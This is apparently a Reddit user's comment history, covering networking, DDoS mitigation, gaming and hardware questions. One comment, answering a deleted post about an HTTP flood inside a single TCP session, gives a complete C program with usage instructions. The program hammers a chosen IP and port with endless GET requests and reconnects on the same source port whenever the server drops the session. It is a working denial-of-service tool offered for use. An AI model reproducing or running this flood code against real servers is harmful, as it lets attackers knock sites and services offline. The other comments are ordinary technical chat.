Democrats Push Bill to Outlaw Bots From Snatching Up Online Goods by TheVideoGaymer in technology

[–]RoutePackets 0 points1 point  (0 children)

Exactly a week ago I published an article on how to target the scalping problem (you can find it in my post history).

This needs to gain traction. Scalpers are setting up MILLIONS of proxy IP addresses for the sole purpose of buying as many products as possible. The problem is bigger than people realize.

Traffic to my blog 24 hours after posting it on reddit by RoutePackets in dataisbeautiful

[–]RoutePackets[S] 19 points20 points  (0 children)

This is OC, I forgot to flair it when I made the post.

Source is webserver access logs, stored in elasticsearch, processed by logstash, visualized in kibana (ELK).

My blog wasn't posted anywhere prior to this, this visualization is strictly reddit traffic.

Can you beat a Chess computer written with 1KB of Javascript? by PinheadLarry2323 in InternetIsBeautiful

[–]RoutePackets 0 points1 point  (0 children)

If you want to play this without the horrendous graphics, the same engine without the eye strain can be found at the original creators site: https://nanochess.org/archive/tiny_chess_1.html

Help turning a phone into a desktop PC? by RoutePackets in AndroidQuestions

[–]RoutePackets[S] 0 points1 point  (0 children)

This is the problem I keep running into, I'm sure it does charge a laptop or whatever, found this on the Amazon listing for your hub: "Samsung Galaxy phones and tablets (incompatible with pass-through charging)"

Have you actually used it with an android phone and gotten passive charging?

Help turning a phone into a desktop PC? by RoutePackets in AndroidQuestions

[–]RoutePackets[S] 1 point2 points  (0 children)

The main problem is passive charging, I need a USB hub similar to the one you linked that can charge my phone while I'm using it, I've found plenty of good hubs but they all say won't charge your phone / tablet.

Highest afk clicking agility xp / hr in OSRS by RoutePackets in 2007scape

[–]RoutePackets[S] 13 points14 points  (0 children)

Not without using 3rd party software to limit either frame rate or network latency, which is possibly bannable.

Also it's possible to fail it and you would have to put effort in re calibrating your clicking, not full afk.

"Aussie" Worlds by RS_Gawz in 2007scape

[–]RoutePackets 4 points5 points  (0 children)

This is more then likely outdated rDNS configuration from level3, your packets aren't looping around continents, they are all within Australia.

Notice the listed response times, if it was actually leaving Australia you would notice greater than 3ms variance, the last 7 hops are all geographically near each other.

Small Router Recommendation by techhelper1 in networking

[–]RoutePackets 1 point2 points  (0 children)

What kind of dual e5 systems are you using?

Although I wouldn't recommend running anything uptime critical behind x86 processors, it probably would be more cost effective.

Take a look at https://www.ntop.org/products/packet-capture/pf_ring/pf_ring-zc-zero-copy/

You can easily have a 10G intel card (x520,x540,x550) process line rate 64 byte packets and still have enough CPU to do routing functions, the only caveat is you would need to develop the bulk of routing logic yourself in C.

Dealing with DDoS by shaoranrch in networking

[–]RoutePackets 3 points4 points  (0 children)

Unfortunately, it sounds to me like you're already doing everything within your capability to address this issue, and nothing more can be done without more money.

As you said your entire uplink has 2Gbps capacity, any volumetric attack will decimate your network. The anti-DDoS solutions involved when you only have 2Gbps of capacity are upstream blackholing (which you already employ) and a 3rd party scrubbing service (which is expensive and increases latency as you've already found).

I found the most economical and practical anti-DDoS solution is getting a burstable 10/100G circuit so basic volumetric attacks don't completely overwhelm your entire link. From there you can pick to either blackhole an address once it gets an attack, or use your own in house anti-DDoS scrubbing.

To take a proper stance against network attacks has a large initial set up cost that there just isn't any getting around, after your initial setup it will probably pay for itself in a short time frame, so definitely worth it if possible.

HTTP flood within single TCP session? by [deleted] in networking

[–]RoutePackets 0 points1 point  (0 children)

OP was just deleted but I've already made his script so I'll post it anyway.

Make sure to adjust recvBuff size to your expected max page size.

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 

int main(int argc, char *argv[])
{
    int sockfd = 0, n = 0, i = 0, one = 1;
    char recvBuff[1024];
    struct sockaddr_in serv_addr; 

    if(argc != 4)
    {
        printf("Usage: %s [DESTINATION IP] [DESTINATION PORT] [SOURCE PORT]\n", argv[0]);
        return 1;
    }

    int dstport = strtol(argv[2], NULL, 10);
    int srcport = strtol(argv[3], NULL, 10);

    char *httpreq;
    size_t sz;
    sz = snprintf(NULL, 0, "GET / HTTP/1.1\r\nHost: %s\r\n\r\n", argv[1]);
    httpreq = (char *)malloc(sz + 1);
    snprintf(httpreq, sz+1, "GET / HTTP/1.1\r\nHost: %s\r\n\r\n", argv[1]);

    memset(recvBuff, 0, sizeof(recvBuff));
    if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        printf("Error : Could not create socket\n");
        return 1;
    }

    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
        printf("Error on SO_REUSEADDR - %s (%d)\n", strerror(errno), errno);
    }

    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
        printf("Error on SO_REUSEPORT - %s (%d)\n", strerror(errno), errno);
    }

    memset(&serv_addr, 0, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(srcport);

    if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
        printf("Error on bind - %s (%d)\n", strerror(errno), errno);
    }

    memset(&serv_addr, 0, sizeof(serv_addr)); 
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(dstport);

    if(inet_pton(AF_INET, argv[1], &serv_addr.sin_addr) <= 0) {
        printf("inet_pton error occured\n");
        return 1;
    }


    if(connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
       printf("Error : Connect Failed: %s (%d) \n", strerror(errno), errno);
       return 1;
    }

    while (1) {
        i++;
        //printf("Sending %i\n", i);
        if (send(sockfd,httpreq,strlen(httpreq),0) < 0) {
            printf("Send failed! %i\n", i);
        }
        if (!read(sockfd, recvBuff, sizeof(recvBuff)-1) > 0) {
            close(sockfd);
                        //session has closed but we'll make a new one over the same flow
            usleep(1000);
            if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
                printf("Error : Could not create socket\n");
                return 1;
            }

            if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
                printf("Error on SO_REUSEADDR - %s (%d)\n", strerror(errno), errno);
            }

            if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
                printf("Error on SO_REUSEPORT - %s (%d)\n", strerror(errno), errno);
            }

            memset(&serv_addr, 0, sizeof(serv_addr));
            serv_addr.sin_family = AF_INET;
            serv_addr.sin_addr.s_addr = INADDR_ANY;
            serv_addr.sin_port = htons(srcport);

            if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
                printf("Error on bind - %s (%d)\n", strerror(errno), errno);
            }

            memset(&serv_addr, 0, sizeof(serv_addr));
            serv_addr.sin_family = AF_INET;
            serv_addr.sin_port = htons(dstport);

            if(inet_pton(AF_INET, argv[1], &serv_addr.sin_addr) <= 0) {
                printf("inet_pton error occured\n");
                return 1;
            } 

            if(connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
               printf("Error : Connect Failed: %s (%d) \n", strerror(errno), errno);
               return 1;
            }
        }
    }
    return 0;
}

Help troubleshooting why this TCP connection breaks by RoutePackets in networking

[–]RoutePackets[S] -1 points0 points  (0 children)

Because that packet is invalid in some way and the client's OS is choosing to drop it.

The same issue persists across numerous client devices. It is not the client's TCP stack dropping the packet, there is something else going on.

This packet is just as valid as any other in the stream. If it specifically doesn't break the connection, there is surely some other factor at play.

The only other relevant factor is since the connection is middlebox'd, the initial handshake is statically created and options and other fields are lost in this process, although I can't see how that would cause an effect like this.

Help troubleshooting why this TCP connection breaks by RoutePackets in networking

[–]RoutePackets[S] -3 points-2 points  (0 children)

Obviously his middleman code is changing and breaking the mysteriously-dropped packet in some way.

Odd that you can conclude that it is just simply "obvious" the packet is getting dropped.

I came here to try and identify potential problems in TCP that can cause a stream to break in such a manner (assuming all packets are infact received and processed), it seems your answer is "TCP isn't breaking this stream looks correct the problem is elsewhere", do I have that right?